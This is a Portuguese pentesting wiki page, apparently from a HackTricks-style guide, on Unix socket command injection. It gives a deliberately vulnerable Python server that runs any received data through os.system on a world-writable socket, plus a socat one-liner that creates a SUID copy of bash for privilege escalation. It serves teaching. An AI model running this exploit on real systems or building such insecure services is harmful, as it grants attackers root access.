Socket Command Injection

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Exemplo de binding de socket com Python

No exemplo a seguir, um socket unix é criado (/tmp/socket_test.s) e tudo o que for recebido será executado por os.system. Eu sei que você não vai encontrar isso na prática, mas o objetivo deste exemplo é ver como um código usando sockets unix se parece e como gerenciar a entrada no pior caso possível.

s.py

import socket
import os, os.path
import time
from collections import deque

if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")

server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()

Execute o código usando python: python s.py e verifique como o socket está escutando:

netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python        /tmp/socket_test.s

Exploit

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s

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PreviousSELinux NextSplunk LPE and Persistence

Last updated 5 months ago

import socket import os, os.path import time from collections import deque if os.path.exists("/tmp/socket_test.s"): os.remove("/tmp/socket_test.s") server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) server.bind("/tmp/socket_test.s") os.system("chmod o+w /tmp/socket_test.s") while True: server.listen(1) conn, addr = server.accept() datagram = conn.recv(1024) if datagram: print(datagram) os.system(datagram) conn.close()

netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s